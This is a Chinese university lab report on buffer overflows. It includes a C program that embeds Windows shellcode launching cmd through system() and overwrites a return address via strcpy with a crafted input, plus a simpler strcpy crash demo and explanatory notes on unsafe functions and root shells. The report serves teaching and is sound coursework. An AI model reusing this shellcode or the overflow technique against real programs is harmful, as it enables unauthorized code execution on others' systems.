20191205张潇——缓冲区溢出漏洞实验
缓冲区溢出漏洞实验
一、实验目的:
该实验为验证性实验,实验目的如下:
1、 掌握缓冲区溢出的基本原理;
2、 掌握预防缓冲区溢出的方法,并且在实际编程中严格遵循这些方法。
二、实验内容及步骤
1、 理解缓冲区溢出的基本原理。
2、 利用函数strcpy()编程实现一个简单的缓冲区溢出实例。
3、 总结预防缓冲区溢出的方法。
三、实验要求
1、 本实验一人一组,编程语言为C。
2、 要求学生掌握缓冲区溢出的基本原理,并熟练掌握C语言编程。
3、 要求学生能够编程实现一个简单的缓冲区溢出实例。
四、实验环境
计算机:Windows 10、Visual C++ 6.0
五、具体实验过程
代码1:利用函数strcpy()编程实现一个简单的缓冲区溢出实例。
#include "stdafx.h" #include <stdio.h> #include <string.h> char shellcode3[] = "\x68\x72\x6F\x63\x41\x68\x47\x65" "\x74\x50\xE8\x41\x00\x00\x00\x50\x68\x4C\x69\x62\x72\x68\x4C\x6F" "\x61\x64\xE8\x31\x00\x00\x00\x50\x68\x72\x74\x00\x00\x68\x6D\x73" "\x76\x63\x54\xFF\xD0\x83\xC4\x08\x68\x65\x6D\x00\x00\x68\x73\x79" "\x73\x74\x54\x50\xFF\x54\x24\x14\x83\xC4\x08\x68\x63\x6D\x64\x00" "\x54\xFF\xD0\x83\xC4\x14\xEB\x67\x55\x8B\xEC\x64\xA1\x30\x00\x00" "\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x70\x28\x80\x7E\x0C\x33" "\x75\xF5\x8B\x40\x10\x8B\xF8\x03\x7F\x3C\x8B\x7F\x78\x03\xF8\x8B" "\xDF\x8B\x7B\x20\x03\xF8\x33\xC9\x8B\x34\x8F\x03\xF0\x41\x8B\x54" "\x24\x08\x39\x16\x75\xF2\x8B\x54\x24\x0C\x39\x56\x04\x75\xE9\x8B" "\x7B\x24\x03\xF8\x8B\x0C\x4F\x81\xE1\xFF\xFF\x00\x00\x8B\x7B\x1C" "\x03\xF8\x49\xC1\xE1\x02\x8B\x3C\x0F\x03\xC7\x5D\xC2\x08\x00"; #pragma comment(linker, "/section:.data,RWE") void Sub_3() { __asm { mov eax, offset shellcode3 jmp eax } } void overflow(const char* input) { char buf[8]; printf("Virtual address of 'buf' = Ox%p\n", buf); strcpy(buf, input); } void fun() { printf("Function 'fun' has been called without an explicitly invocation.\n"); printf("Buffer Overflow attack succeeded!\n"); } int main() { printf("Address of 'overflow' = Ox%p\n", overflow); printf("Sddress of 'fun' = Ox%p\n", fun); printf("Sddress of 'Sub3' = Ox%p\n", Sub_3); char input[] = "AAAbbbbbbaaa\xA5\x10\x41\x00"; //char input[] = "AAAAAAA"; overflow(input); return 0; }
编译运行截图:
先通过简短字符串找到溢出地址,然后修改字符串填入地址。缓冲区溢出覆盖内存地址,shellcode的功能是打开cmd.
代码2:利用函数strcpy()编程实现一个简单的缓冲区溢出实例
#include <stdio.h> #include <string.h> #include<stdlib.h> void function(char *input) ; void main(){ char c[500]; fgets(c,60,stdin); function(c); return; } void function(char* input){ char buffer[16]; strcpy(buffer,input); }
在实验室利用缓冲区溢出造成程序执行异常
如下图所示,我使用了strcpy函数在程序执行中输入过长的字符串(asdfasdfasdfasdf)使程序出现异常从而终止:
六、实验验证原理
1、缓冲区溢出概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区又被称为“堆栈”。在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。
2、缓冲区溢出的基本原理:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:
void function(char *str) { char buffer[16]; strcpy(buffer,str); }
上面的strcpy()直接把str中的内容复制到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其他命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,就可以对系统进行任意操作了。
七、实验心得
通过本次实验,我了解到缓冲区溢出是一种在各种操作系统、应用软件中广泛存在普遍且危险的漏洞,利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。因此,如何及时有效地检测出计算机网络系统入侵行为,已成为网络安全管理的一项重要内容。
通过自己编写C代码实现缓冲区溢出,也发现了一些问题:一些代码理解需要借助外界资料帮助,还需要进一步学习;许多保护机制等知识需要累积,在今后的学习中我会慢慢增长自己的知识储备量,加深对系统的理解。
除此之外,通过分析返回地址的位置,从而将要跳转的getshell函数或者是要注入的shellcode的返回地址都成功替换,并且跳转。实验内容完全映射到老师上课讲解的内容,利用老师那个栈的图,结合实验,也更加清楚地掌握了缓冲区溢出攻击的过程。